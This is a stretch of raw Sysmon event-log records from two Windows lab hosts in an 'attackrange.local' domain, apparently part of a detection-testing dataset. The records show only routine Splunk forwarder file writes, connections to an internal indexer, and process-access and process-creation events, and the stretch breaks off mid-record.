Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BAF5B136D8B564002B389122F826D691,SHA256=10EAD2F59115F26CB7C9AF5C30D68045BB5F3211F26AAAC6EF54B8A0AF54A631,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014179Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:23.935{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B4DE3D34593E3C7D69EA8F4ED8763A1,SHA256=1F0683ED6253126947E50A9EAEDCB14B49190400703116797E01AD241B70C6F2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014178Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:20.498{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50139-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000046084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:23.065{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2BCF1D27FA09AAE70207E70B5E5C45E8,SHA256=BFCFCF66B9AF81B6501FD02A02B5F806DA5C74F8AFD2AEC6101550099E17A9B9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:23.065{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FA986B26D81DB75097EA487424E5E563,SHA256=7FBAF450410686018BA2C66F2EF051DC6D6921BB38CE8A1ABFEB77E088D9DC48,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014180Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:24.935{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0F2F071B58E47F305D255A4C248926C5,SHA256=A788634CCE5971182F1F0940509B37599BA1DA425119B3DA52B49661728B64D3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:22.491{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59281-false10.0.1.12-8000- 23542300x800000000000000046085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:24.174{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7B2BE73C49CBD7FA19F99158C4EE776F,SHA256=DDD0E2B0820717AA7264C4BA35FA96703D314D1FCACBD5BDF95DAF6EF554FCC8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014181Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:25.951{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3ADAD44C36D619C25DDF668CFADF2EA,SHA256=3CAC987CDC37766A5EA00B1B5257F8FA77011D55C8B268992BFD7870257855FC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:25.284{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=899ABCA5F6DAA9A0AD56D2C6EE975A47,SHA256=7305D832C5E4768B2006D8029FD287B888ECD570FF3AF5A95B43835EEC3EBB60,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014182Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:26.951{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A60B0807542C2B09FFBA07D65CD9E1A5,SHA256=FD1BF353BD677D896C3DC4B0CAA6DD6BE21BE25202E5901BB977F0DD24A38780,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:26.299{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=880866F9E37D702C15BE51A740A47065,SHA256=FCCB0DF7F4EECEAED477F251E7AA98A625D95EDEC5C5DB9E3016626F01786001,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014184Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:27.966{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E15B0E8EA70AE8ECC5B2ABEB90962A84,SHA256=6B24C75BC9DDA13707398F14CEFA3B89611E7A66C0BCE96BE60D534471C747F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:27.315{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91938CD2D35AE671D07A56E53821E5A1,SHA256=7359595B71BEE5FD1C3F179C747A62DA46C5BA09FCDC79FFD66351E28C57016C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014183Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:26.389{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50140-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014185Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:28.982{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78189588C70D937C27E9D7E117B6DFA4,SHA256=4C0F0697E7D96FF3E2121CEE11D5C7A03C420406DE489C8FCA9AF8FAC77622E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:28.377{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5A5427405D3BF8D972D61348B16CCBD,SHA256=C3CD0312CAD2BD32F5B1DB96B122C9B8FB466215D198EB9F8BF650D2859F4E1F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:29.549{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:29.409{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3381B14AC8C1E2D4F2FE7E6152E29210,SHA256=0A0EF8950CB223C2A9DE17464236EC044E52039F9F168F5F3F03C13303007B5C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:27.538{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59282-false10.0.1.12-8000- 23542300x800000000000000046093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:30.424{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=18FC465DCB92A8402D3A1BCBF91D108A,SHA256=FDE7870BD46353D71DC8436A54BC9CFE9888C04F5DDD5E7A340BCE4F5386B183,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014186Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:29.998{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AAF2A3C1412D35B1787609DD6BDCC9AE,SHA256=7AC7934D9F34829FBD1727B387D88B29E7F0E8E9E6C4F772A19931D2BF705501,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:31.974{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=06455599CD849ABAAFB6D4ACB3945BBE,SHA256=79018BBF176C1633956DB57A68C20848C7461225E33BDC9D0DFEEF957EEF8614,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:31.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3963071B045712B940DD028189561898,SHA256=8CF263AF8E93C58F33FB5A8BB33220416B47E7BBF6E49AC205ECC46971798DF1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014200Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6FC7-613B-A204-00000000F101}1224C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014199Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014198Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014197Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014196Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014195Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014194Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014193Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014192Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014191Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014190Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6FC7-613B-A204-00000000F101}1224C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014189Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6FC7-613B-A204-00000000F101}1224C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014188Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.720{625C326B-6FC7-613B-A204-00000000F101}1224C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014187Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.016{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=07A7FCBBEC4DE25F0F20E2131632F696,SHA256=B12D9D6BD371177B4182BC56FEB8C7F391A129A6E2BFC2CFF6B1B78EA10FF5BF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:28.850{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59283-false10.0.1.12-8089- 23542300x800000000000000046097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:32.662{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=72D5D8E3C8C0BE89A8F735D9AC664662,SHA256=1B7C42E788251918B5DB8389A5CED31426F05B4C23AA0167C5D0C3E57B42F267,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014230Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6FC8-613B-A404-00000000F101}2472C:\Program 